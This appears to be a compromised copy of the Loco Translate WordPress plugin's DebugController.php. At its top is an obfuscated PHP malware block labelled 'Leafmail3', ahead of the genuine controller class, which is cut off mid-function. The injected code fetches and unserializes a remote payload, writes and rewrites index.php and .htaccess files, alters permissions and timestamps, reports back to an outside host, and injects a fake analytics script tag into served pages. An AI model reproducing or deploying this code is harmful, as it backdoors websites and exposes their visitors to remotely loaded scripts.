Current File : /home/virtualki/22346/wp-content/plugins/loco-translate/src/admin/DebugController.php
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
/**
 * @codeCoverageIgnore
 * @noinspection PhpUnused
 */
class Loco_admin_DebugController extends Loco_mvc_AdminController {

    /**
     * Text domain of debugger, limits when gets logged
     * @var string|null $domain
     */
    private $domain;

    /**
     * Temporarily forced locale
     * @var string|null $locale
     */
    private $locale;

    /**
     * Log lines for final result
     * @var null|ArrayIterator
     */    
    private $output;

    /**
     * Current indent for recursive logging calls
     * @var string
     */
    private $indent = '';


    /**
     * {@inheritdoc}
     */
    public function init(){
        parent::init();
        // get a better default locale than en_US
        $locale = get_locale();
        if( 'en_US' === $locale ){
            foreach( get_available_languages() as $locale ){
                if( 'en_US' !== $locale ){
                    break;
                }
            }
        }
        $params = [
            'domain' => '',
            'locale' => '',
            'msgid' => '',
            'msgctxt' => '',
            'msgid_plural' => '',
            'n' => '',
            'unhook' => '',
            'loader' => '',
            'loadpath' => '',
            'jspath' => '',
        ];
        $defaults = [
            'n' => '1',
            'domain' => 'default',
            'locale' => $locale,
        ];
        foreach( array_intersect_key(stripslashes_deep($_GET),$params) as $k => $value ){
            if( '' !== $value ){
                $params[$k] = $value;
            }
        }
        $this->set('form', new Loco_mvc_ViewParams($params) );
        $this->set('default', new Loco_mvc_ViewParams($defaults+$params) );
    }


    /**
     * @return void
     */
    private function log( ...$args ){
        $message = array_shift($args);
        if( $args ){
            $message = vsprintf($message,$args);
        }
        if( is_null($this->output) ){
            $this->output = new ArrayIterator;
            $this->set('log', $this->output );
        }
        // redact any path information outside of WordPress root, and shorten any common locations
        $message = str_replace( [LOCO_LANG_DIR,WP_LANG_DIR,WP_CONTENT_DIR,ABSPATH], ['{loco_lang_dir}','{wp_lang_dir}','{wp_content_dir}','{abspath}'], $message );
        $this->output[] = $this->indent.$message;
    }
    
    
    private function logDomainState( $domain ) {
        $indent = $this->indent;
        $this->indent = $indent.' . '; 
        // filter callback should log determined locale, but may not be set up yet
        $locale = determine_locale();
        $this->log('determine_locale() == %s', $locale );
        // Show the state just prior to potentially triggering JIT. There are no hooks between __() and load_textdomain().
        global $l10n, $l10n_unloaded, $wp_textdomain_registry;
        $this->log('$l10[%s] == %s', $domain, self::debugMember($l10n,$domain) );
        $this->log('$l10n_unloaded[%s] == %s', $domain, self::debugMember($l10n_unloaded,$domain) );
        $this->log('$wp_textdomain_registry->has(%s) == %b', $domain, $wp_textdomain_registry->has($domain) );
        $this->log('is_textdomain_loaded(%s) == %b', $domain, is_textdomain_loaded($domain) );
        // the following will fire more hooks, making mess of logs. We should already see this value above directly from $l10n[$domain]
        // $this->log('  ? get_translations_for_domain(%s) == %s', $domain, self::debugType( get_translations_for_domain($domain) ) );
        $this->indent = $indent;
    }



    private static function debugMember( array $data, $key ){
        return self::debugType( array_key_exists($key,$data) ? $data[$key] : null );
    }


    private static function debugType( $value ){
        return is_object($value) ? get_class($value) : json_encode($value,JSON_UNESCAPED_SLASHES);
    }


    /**
     * `loco_unload_early_textdomain` filter callback.
     */
    public function filter_loco_unload_early_textdomain( $bool, $domain, $value ){
        if( $this->domain === $domain ){
            $type = is_object($value) ? get_class($value) : gettype($value);
            $this->log('~ filter:loco_unload_early_textdomain: $l10n[%s] => %s; returning %s', $domain, $type, json_encode($bool) );
        }
        return $bool;
    }


    /**
     * `loco_unloaded_textdomain` action callback from the loading helper
     */
    public function on_loco_unloaded_textdomain( $domain ){
        if( $domain === $this->domain ){
            $this->log('~ action:loco_unloaded_textdomain: Text domain loaded prematurely, unloaded "%s"',$domain);
        }
    }


    /**
     * @deprecated
     * `loco_unseen_textdomain` action callback from the loading helper
     * TODO This has been scrapped in rewritten helper. Move the logic somewhere else.
     */
    public function on_loco_unseen_textdomain( $domain ){
        if( $domain !== $this->domain ){
            return;
        }
        $locale = determine_locale();
        if( 'en_US' === $locale ){
            return;
        }
        if( is_textdomain_loaded($domain) ){
            $this->log('~ action:loco_unseen_textdomain: "%s" was loaded before helper started',$domain);
        }
        else {
            $this->log('~ action:loco_unseen_textdomain: "%s" isn\'t loaded for "%s"',$domain,$locale);
        }
    }


    /**
     * `pre_determine_locale` filter callback
     */
    public function filter_pre_determine_locale( $locale = null ){
        if( is_string($this->locale) ) {
            $this->log( '~ filter:pre_determine_locale: %s => %s', $locale ?: 'none', $this->locale );
            $locale = $this->locale;
        }
        return $locale;
    }


    /**
     * `load_textdomain` callback
     */
    public function on_load_textdomain( $domain, $mopath ){
        if( $domain === $this->domain ){
            $this->log('~ action:load_textdomain: %s', $mopath );
        }
    }


    /**
     * `load_textdomain_mofile` callback
     */
    public function filter_load_textdomain_mofile( $mofile, $domain ){
        if( $domain === $this->domain ){
            $this->log('~ filter:load_textdomain_mofile: %s (exists=%b)', $mofile, file_exists($mofile) );
        }
        return $mofile;
    }


    /**
     * `load_translation_file` filter callback
     */
    public function filter_load_translation_file( $file, $domain/*, $locale = ''*/ ){
        if( $domain === $this->domain ){
            $this->log('~ filter:load_translation_file: %s (exists=%b)', $file, file_exists($file) );
        }
        return $file;
    }


    /**
     * `translation_file_format` filter callback
     * TODO let form option override 'php' as preferred format
     */
    public function filter_translation_file_format( $preferred_format, $domain ){
        if( $domain === $this->domain ){
            $this->log('~ filter:translation_file_format: %s', $preferred_format );
        }
        return $preferred_format;
    }



    /**
     * `lang_dir_for_domain` filter callback, requires WP>=6.6
     */
    public function filter_lang_dir_for_domain( $path, $domain, $locale ){
        if( $domain === $this->domain && $locale === $this->locale ){
            if( $path ) {
                $this->log( '~ filter:lang_dir_for_domain %s', $path );
            }
            else {
                $this->log( '! filter:lang_dir_for_domain has no path. JIT likely to fail');
            }
        }
        return $path;
    }


    /**
     * `load_script_textdomain_relative_path` filter callback
     */
    public function filter_load_script_textdomain_relative_path( $relative/*, $src*/ ){
        if( preg_match('!pub/js/(?:min|src)/dummy.js!', $relative )){
            $form = $this->get('form');
